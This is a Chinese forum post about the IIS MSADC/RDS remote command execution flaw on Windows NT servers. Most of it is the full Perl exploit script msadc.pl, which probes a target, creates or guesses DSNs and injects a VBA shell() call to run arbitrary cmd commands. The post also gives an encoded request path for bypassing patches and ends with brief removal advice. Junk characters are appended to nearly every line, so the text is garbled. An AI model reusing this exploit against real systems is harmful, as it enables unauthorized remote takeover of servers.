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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) QxG:NN;jW  
Pd9qY 8CP  
涉及程序: {jO:9O @  
Microsoft NT server 'MH WNPG0  
 "_t2R &A  
描述: IoWh&(+KdH  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 4<g,L;pUU  
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详细: BC0SSR@e  
如果你没有时间读详细内容的话,就删除: DjUif "v  
c:\Program Files\Common Files\System\Msadc\msadcs.dll oe`t ? (U  
有关的安全问题就没有了。 2iC7c6hc  
k44s V.G4L  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 L;$Gn"7~  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 $}RBK'cr}  
关于利用ODBC远程漏洞的描述,请参看: hbdq'2!Qr  
5:v"^"Sz  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ':YFm  
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2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 D]n9+!Ec1f  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp W,dqk=n  
s)X'PJ0&Bs  
这里不再论述。 ``KimeA~  
'oSs5lW  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: k/bY>FY2r  
@)=\q`vV  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset $?RxmWsP  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! /KGVMBifM  
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#将下面这段保存为txt文件,然后: "perl -x 文件名" ?EQ]f34  
E wDFUK  
#!perl  V9\g?w  
# :4RD .l  
# MSADC/RDS 'usage' (aka exploit) script NT+%u-  
# + |(-7 "  
# by rain.forest.puppy OXc!^2 ^  
# d Bn/_  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me t Dn{;ED<  
# beta test and find errors! Ca}T)]//  
$j=c;+W  
use Socket; use Getopt::Std; 6\"g,f  
getopts("e:vd:h:XR", \%args); 9>,$q"M}?  
Y&M}3H>E  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; uFPJ}m[>5  
yneIY-g(p  
if (!defined $args{h} && !defined $args{R}) { T= Q"| S]V  
print qq~ Mg3>/!  
Usage: msadc.pl -h <host> { -d <delay> -X -v } &,E^ y,r  
-h <host> = host you want to scan (ip or domain) eT 8(O36%  
-d <seconds> = delay between calls, default 1 second p2T<nP<Pt  
-X = dump Index Server path table, if available 5n,?&+*L  
-v = verbose USBU?WDt  
-e = external dictionary file for step 5 #nG?}*#  
=(\ /+ 0-[  
Or a -R will resume a command session klSzmi4M  
vzDoF0Ts*p  
~; exit;} @BCws )  
~1e?9D  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; _Q&O#f  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} T^FeahA7;  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} Si=zxy T  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); @hC,J  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} M.B0)  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } '?7?"v  
rjsqXo:9  
if (!defined $args{R}){ $ret = &has_msadc; 'u"r^o?  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 7i(U?\A;.  
EVs.'Xg<  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" v&}+ps_W  
. "cmd /c "; ,au-g)IFZ  
$in=<STDIN>; chomp $in; #r{`Iv ?nn  
$command="cmd /c " . $in ; c*F'x-TH  
=)tU]kp  
if (defined $args{R}) {&load; exit;} Gp*U2LB  
7bcl^~lY  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; , c3gW2E  
&try_btcustmr; ^\|Hz\"*  
tR`'( *wh  
print "\nStep 2: Trying to make our own DSN..."; x@^Kd*fo  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; OJX* :Q  
2Cy">Exl  
print "\nStep 3: Trying known DSNs..."; |Uf[x[  
&known_dsn; ZWJ%t'kF  
4-ijuqjN  
print "\nStep 4: Trying known .mdbs..."; ~:h-m\=8Y  
&known_mdb; g+CTF67  
::'DWD1  
if (defined $args{e}){ z +NxO !y  
print "\nStep 5: Trying dictionary of DSN names..."; oEfy{54  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } @|A w T  
c;RB!`9"  
print "Sorry Charley...maybe next time?\n"; &dA{<.  
exit; [Ol}GvzJ7  
s Yp?V\Y"  
############################################################################## Ekq&.qjYG"  
/eFudMl  
sub sendraw { # ripped and modded from whisker 2R W^Nqc9  
sleep($delay); # it's a DoS on the server! At least on mine... "Yh[-[,  
my ($pstr)=@_; ?r< F/$/  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ~n)gP9Hv  
die("Socket problems\n"); WsHC%+\'  
if(connect(S,pack "SnA4x8",2,80,$target)){ P?QVT;]  
select(S); $|=1; a+wc"RQ |  
print $pstr; my @in=<S>; mC-'z  
select(STDOUT); close(S); h7 uv0a~0  
return @in; wXj!bh8\r  
} else { die("Can't connect...\n"); }} bBwMx{iNNz  
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############################################################################## <<Zt.!hS  
J2tD).G  
sub make_header { # make the HTTP request 'j6)5WL$  
my $msadc=<<EOT "0BuQ{CQ  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ">$.>sn{  
User-Agent: ACTIVEDATA e-@=QI^,  
Host: $ip o XKH,r  
Content-Length: $clen ZH o#2{F  
Connection: Keep-Alive (<.uvq61  
{u 7%Z}<0  
ADCClientVersion:01.06 l;u_4`1H  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 MqA%hlq  
|ji={  
--!ADM!ROX!YOUR!WORLD! ^LaOl+;S  
Content-Type: application/x-varg `EFPY$9`D  
Content-Length: $reqlen N\ Nwmx  
SLCV|@G  
EOT pUTC~|j%:  
; $msadc=~s/\n/\r\n/g; V%kZ-P*  
return $msadc;} zxo0:dyw7  
0iy-FV;J  
############################################################################## kqyV UfX$3  
I\8f`l  
sub make_req { # make the RDS request |dLA D4%  
my ($switch, $p1, $p2)=@_; A4kYE A  
my $req=""; my $t1, $t2, $query, $dsn; &DUt`Dr w  
0/r\#"+XT  
if ($switch==1){ # this is the btcustmr.mdb query F0&BEJBkU  
$query="Select * from Customers where City=" . make_shell(); RA5*QW  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ;c>Co:W  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} y2XeD=_'  
CBj&8#8Z  
elsif ($switch==2){ # this is general make table query 6Vq]AQx  
$query="create table AZZ (B int, C varchar(10))"; BK+(Uf;g  
$dsn="$p1";} HizMjJ|  
SL( WE=H  
elsif ($switch==3){ # this is general exploit table query 627xR$U~  
$query="select * from AZZ where C=" . make_shell(); sE,Q:@H5  
$dsn="$p1";} _b ~XBn  
]yR0"<W^xO  
elsif ($switch==4){ # attempt to hork file info from index server  'Dh+v3O  
$query="select path from scope()"; /Dh[lgF0C  
$dsn="Provider=MSIDXS;";} n_8wYiBs(  
ue YBD]3'  
elsif ($switch==5){ # bad query >'qkW$-95  
$query="select"; AdCi*="m  
$dsn="$p1";} zAr@vBfC%  
;,z[|"y  
$t1= make_unicode($query); Glt%%TJb   
$t2= make_unicode($dsn); #<^ngoOj  
$req = "\x02\x00\x03\x00"; Ax'jNol  
$req.= "\x08\x00" . pack ("S1", length($t1)); |l*#pN&L  
$req.= "\x00\x00" . $t1 ; i/Nd  
$req.= "\x08\x00" . pack ("S1", length($t2)); g{]C@,W  
$req.= "\x00\x00" . $t2 ; uU7s4oJ|  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; h`1{tu  
return $req;} y)5U*\b  
f,e7;u z%  
############################################################################## {nl]F  
X={n9*Sd8  
sub make_shell { # this makes the shell() statement c5jd q[0  
return "'|shell(\"$command\")|'";} xe4F4FC'  
,g2oqq ?  
############################################################################## Sk'S`vH  
)v4?+$g  
sub make_unicode { # quick little function to convert to unicode 4V$DV!dPQ}  
my ($in)=@_; my $out; a0s6G3J+9  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } `2 vv8cg^  
return $out;} _A8x{[$  
w Ud6xR  
############################################################################## EQ;,b4k?&g  
01 UEd8  
sub rdo_success { # checks for RDO return success (this is kludge) d=q&UCC  
my (@in) = @_; my $base=content_start(@in); Wq4>!|  
if($in[$base]=~/multipart\/mixed/){ (|(#W+l~  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} )^G&p[G  
return 0;} s'4S,  
4bT21J37  
############################################################################## (l|:$%[0  
ywPFL/@  
sub make_dsn { # this makes a DSN for us OS X5S:XS  
my @drives=("c","d","e","f"); %*>ee[^L ,  
print "\nMaking DSN: "; \~3g*V  
foreach $drive (@drives) { jz\LI  
print "$drive: "; yNw YP%"y  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . #i#4h<R  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ,mu=#}a@}  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 4h|48</  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ]3+xJz~=  
return 0 if $2 eq "404"; # not found/doesn't exist j'z}m+_?  
if($2 eq "200") { 5CSihw/5  
foreach $line (@results) { -Qt>yzD3  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} Z#n!=k TTm  
} return 0;} }~Am{Er <l  
8z?q4  
############################################################################## 8veYs`  
?q&*|-%)_d  
sub verify_exists { !9$xfg }  
my ($page)=@_; [Rqv49n*V  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 3c#CEuu  
return $results[0];} kJ;fA|(I  
`M "O #  
############################################################################## ?qn0].  
hkS K;  
sub try_btcustmr { kW'xuZ&  
my @drives=("c","d","e","f"); -^y$RJC  
my @dirs=("winnt","winnt35","winnt351","win","windows"); YQB.3  
HzW`j"\  
foreach $dir (@dirs) { f}4bnu3  
print "$dir -> "; # fun status so you can see progress KUr}?sdz  
foreach $drive (@drives) { 8=]R6[,fD  
print "$drive: "; # ditto \= M*x  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; \2F$FRWo  
$reqlenlen=length( "$reqlen" ); 6[-N})  
$clen= 206 + $reqlenlen + $reqlen; s|Hrb_[;l  
\'rh7!v-u  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); (s/hK  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ^|z  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 4FmT.P  
$1Lm=2;U  
############################################################################## yv.UNcP?  
0?D`|x_  
sub odbc_error { 4t(V)1+  
my (@in)=@_; my $base; m=Z1DJG  
my $base = content_start(@in); }CR@XD}[  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this N2!HkUy2  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; XO*|P\#^  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; qusX]Tst z  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 3Mvm'T:[  
return $in[$base+4].$in[$base+5].$in[$base+6];} E~=`Ac,G2  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; =:T pH>f*  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . MroJ!.9  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} z|VQp,ra  
"V|1w>s  
############################################################################## pRt=5WZ  
!nQ!J+ g  
sub verbose { 1-@[th  
my ($in)=@_; <2cl1Fb  
return if !$verbose; &cty&(2p  
print STDOUT "\n$in\n";} -t92!O   
&_q&TEi  
############################################################################## 'USol<  
hOI| #(-  
sub save { R$'0<y8E*]  
my ($p1, $p2, $p3, $p4)=@_; B(x$ Ln"y[  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; l;4},N  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; PD @]2lY(  
close OUT;} )qGw!^8  
67/&AiS?  
############################################################################## <&n\)R4C1  
eOZ0L1JM!  
sub load { gNon*\a,-B  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; _Y7uM6HL\  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); p[E}:kak_-  
@p=<IN>; close(IN); -Y#YwBy;M  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); LY}9$1G]  
$target= inet_aton($ip) || die("inet_aton problems"); [25[c><:w"  
print "Resuming to $ip ..."; }L.xt88  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; LwpO_/qV  
if($p[1]==1) { o% ZtE  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 7J ~usF>A  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; MHs2UN  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); M.|@|If4?  
if (rdo_success(@results)){print "Success!\n";} Ae&470  
else { print "failed\n"; verbose(odbc_error(@results));}} w1Z9@*C!  
elsif ($p[1]==3){ OT6uAm+\7_  
if(run_query("$p[3]")){ k"*A@  
print "Success!\n";} else { print "failed\n"; }} #G[S  
elsif ($p[1]==4){ }O_kbPNw  
if(run_query($drvst . "$p[3]")){ K{eq'F5M  
print "Success!\n"; } else { print "failed\n"; }} 7Eo a~  
exit;} {rQ SB;3  
]>E)0<t  
############################################################################## D0'L  
t5r,3x!E  
sub create_table { #0K122oY  
my ($in)=@_; oyQp"'|N  
$reqlen=length( make_req(2,$in,"") ) - 28; Pr |u_^  
$reqlenlen=length( "$reqlen" ); W\JbX<mQ  
$clen= 206 + $reqlenlen + $reqlen; ]a4rA+NFLB  
my @results=sendraw(make_header() . make_req(2,$in,"")); 89*txYmx  
return 1 if rdo_success(@results); RAw/Q$I  
my $temp= odbc_error(@results); verbose($temp); idWYpU>gC  
return 1 if $temp=~/Table 'AZZ' already exists/; ZT*RD2,  
return 0;} +Y7"!wYR>  
#S?xRqkc  
############################################################################## ('H[[YODh  
~j%g?;#*  
sub known_dsn { (*{Y#XD{  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go {)E)&lL  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ao2NwH##  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ~>h_#sIBC  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); ,{"%-U#z  
)bJS*#  
foreach $dSn (@dsns) { vbH?[ Zr?  
print "."; $a'n{EP  
next if (!is_access("DSN=$dSn")); ^gP pmb<x  
if(create_table("DSN=$dSn")){ ,BGaJ|k  
print "$dSn successful\n"; :#CQQ*@  
if(run_query("DSN=$dSn")){ wc&%icF*cr  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { lX^yd5M&f  
print "Something's borked. Use verbose next time\n";}}} print "\n";} >HvgU_  
u9-:/<R#}y  
############################################################################## q)Qd+:a7{  
&e2|]C4  
sub is_access { +n]z'pijb  
my ($in)=@_; nE_g^  
$reqlen=length( make_req(5,$in,"") ) - 28; u4 ##*m  
$reqlenlen=length( "$reqlen" ); TqzL]'NS+  
$clen= 206 + $reqlenlen + $reqlen; }$6;g-|HX  
my @results=sendraw(make_header() . make_req(5,$in,"")); r_8[}|7;  
my $temp= odbc_error(@results); F:p'%#3rU/  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); B=E<</i  
return 0;} X rBe41  
gP&G63^  
############################################################################## |?zFm mh  
tOQ2947zk  
sub run_query { dMo456L  
my ($in)=@_; A .]o&S}  
$reqlen=length( make_req(3,$in,"") ) - 28; )Sz2D[@n  
$reqlenlen=length( "$reqlen" ); f{s}[p~  
$clen= 206 + $reqlenlen + $reqlen; xvx5@lx  
my @results=sendraw(make_header() . make_req(3,$in,"")); "eqNd"~  
return 1 if rdo_success(@results); dj>ZHdTn  
my $temp= odbc_error(@results); verbose($temp); ,ALEfepo  
return 0;} ;5i~McH# t  
+48a..4sN  
############################################################################## r&$r=f<  
J.nJ@?O+  
sub known_mdb { *{_WM}G  
my @drives=("c","d","e","f","g"); 3aD\J_  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 0l.\KF  
my $dir, $drive, $mdb; '/2u^&W  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; pDw^~5P  
BKd03s=  
# this is sparse, because I don't know of many X\\c=[#8-  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 0keqtr  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 28/At  
"\\system32\\certmdb.mdb", s&>U-7fx"  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% %(f&).W  
Y~FN` =O  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", Bo)N<S_=^  
"\\cfusion\\cfapps\\forums\\forums_.mdb", B,2oA]W"S  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", mmN!=mf*  
"\\cfusion\\cfapps\\security\\realm_.mdb", ;nzzt~aCC  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", PWavq?SR  
"\\cfusion\\database\\cfexamples.mdb", s{QS2G$5  
"\\cfusion\\database\\cfsnippets.mdb", 0a1Vj56{)  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", #*J+4a w3  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 2u B66i  
"\\cfusion\\brighttiger\\database\\cleam.mdb", `$kKTc:f  
"\\cfusion\\database\\smpolicy.mdb", @51!vQwqR  
"\\cfusion\\database\cypress.mdb", #Cj$;q{!  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", G@Jl4iHug"  
"\\website\\cgi-win\\dbsample.mdb", [I XX#^F  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", K<BS%~,I  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" vdhwFp~Y  
); #these are just WF'Di4   
foreach $drive (@drives) { 8-f2$  
foreach $dir (@dirs){ m+jW+  
foreach $mdb (@sysmdbs) { Cf~H9  
print "."; TGSUbBgU  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ F. N4Q'2Z  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; @<n8?"{5S  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ khXp}p!Zm  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; =N,ahq  
} else { print "Something's borked. Use verbose next time\n"; }}}}} Mk:k0,z  
^@"H(1Hxu/  
foreach $drive (@drives) { MQ~OG9.  
foreach $mdb (@mdbs) { } `X.^}oe  
print "."; ~8rVf+bg3  
if(create_table($drv . $drive . $dir . $mdb)){ VG)Y$S8.>  
print "\n" . $drive . $dir . $mdb . " successful\n"; [,@gSb|D?  
if(run_query($drv . $drive . $dir . $mdb)){ r~<I5MZY  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; &Fw8V=Pw  
} else { print "Something's borked. Use verbose next time\n"; }}}} [ X7LV  
} F9N/_H*+  
Cp`>dtCd  
############################################################################## =1:dKo8  
I;=HXL  
sub hork_idx { 8!{;yz  
print "\nAttempting to dump Index Server tables...\n"; 5.]eF$x2  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; e9F\U   
$reqlen=length( make_req(4,"","") ) - 28; a>_Cxsb&`  
$reqlenlen=length( "$reqlen" ); =|Q7k+b  
$clen= 206 + $reqlenlen + $reqlen; 1u%e7  
my @results=sendraw2(make_header() . make_req(4,"","")); TB oN8cB}  
if (rdo_success(@results)){ ~|FKl%  
my $max=@results; my $c; my %d; K3CTxU(  
for($c=19; $c<$max; $c++){ ?zS t  
$results[$c]=~s/\x00//g; dg(fD>+  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; S yf0dp3  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; &5x ]9   
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; /:<.Cn>-  
$d{"$1$2"}="";} h 2Kx  
foreach $c (keys %d){ print "$c\n"; } ~qjnV  
} else {print "Index server doesn't seem to be installed.\n"; }} 5O7 x4bY  
PkqOBU*|=  
############################################################################## W-72&\7  
BAJEn6f?  
sub dsn_dict { *[@k=!73  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); Pc{0Js5VzE  
while(<IN>){ o3s ME2  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ]>:LHW  
next if (!is_access("DSN=$dSn")); Za5bx,^  
if(create_table("DSN=$dSn")){ ~_;x o?@ba  
print "$dSn successful\n"; c@uNA0 p  
if(run_query("DSN=$dSn")){ ^")SU(`  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ~9tPT 0^+  
print "Something's borked. Use verbose next time\n";}}} sz7|2OV"  
print "\n"; close(IN);} T({]fc!c  
+ A=*C  
############################################################################## .b3c n  
v?9  
sub sendraw2 { # ripped and modded from whisker  e>FK5rz  
sleep($delay); # it's a DoS on the server! At least on mine... :(^, WOf  
my ($pstr)=@_; Sz"rp9x+  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || f0<'IgN  
die("Socket problems\n"); 2V-zmyJs5  
if(connect(S,pack "SnA4x8",2,80,$target)){ zG[GyyAQ  
print "Connected. Getting data"; vv9=g*"j  
open(OUT,">raw.out"); my @in; qYwEPGa\  
select(S); $|=1; print $pstr; O<:"Irq\qr  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} xM#+jI  
close(OUT); select(STDOUT); close(S); return @in; '`+GC9VG  
} else { die("Can't connect...\n"); }} $@wTc  
o1dECLQa  
############################################################################## xDJs0P4  
SF 7p/gG  
sub content_start { # this will take in the server headers _xHEA2e!  
my (@in)=@_; my $c; m$w'`[H  
for ($c=1;$c<500;$c++) { NrNxI'M G  
if($in[$c] =~/^\x0d\x0a/){ ++Z,U  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } &~6W!w  
else { return $c+1; }}} [ q<Vm-  
return -1;} # it should never get here actually pyf/%9R:d  
}u CC~ <^  
############################################################################## +O2z&a;q  
o'`:$ (  
sub funky { ipIexv1/S  
my (@in)=@_; my $error=odbc_error(@in); 8}Qmhm`_j=  
if($error=~/ADO could not find the specified provider/){ sfN6ro  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; V>Zw" #Q  
exit;} 7Zf * T  
if($error=~/A Handler is required/){  4dd]Ju  
print "\nServer has custom handler filters (they most likely are patched)\n"; t:SME'~.P  
exit;} &' 0|U{|  
if($error=~/specified Handler has denied Access/){ d/m.VnW  
print "\nServer has custom handler filters (they most likely are patched)\n"; 6dzY9   
exit;}} ?xb4y=P7  
'5*8'.4Sy  
############################################################################## 3Dm`8Xt  
65~X!90k  
sub has_msadc { >7fNxQ  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ~0^d-,ZD5  
my $base=content_start(@results); h"/y$  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); +ROwk  
return 0;} YyF=u~l  
`u *:wJsv  
######################## TsvF~Gdp  
(;Ad:!9{  
'/ >7pB  
解决方案: <6djdr1:b  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 5V{> 82  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 L2L=~/LG  
dpTeF`N  
拿出来充数 哈哈
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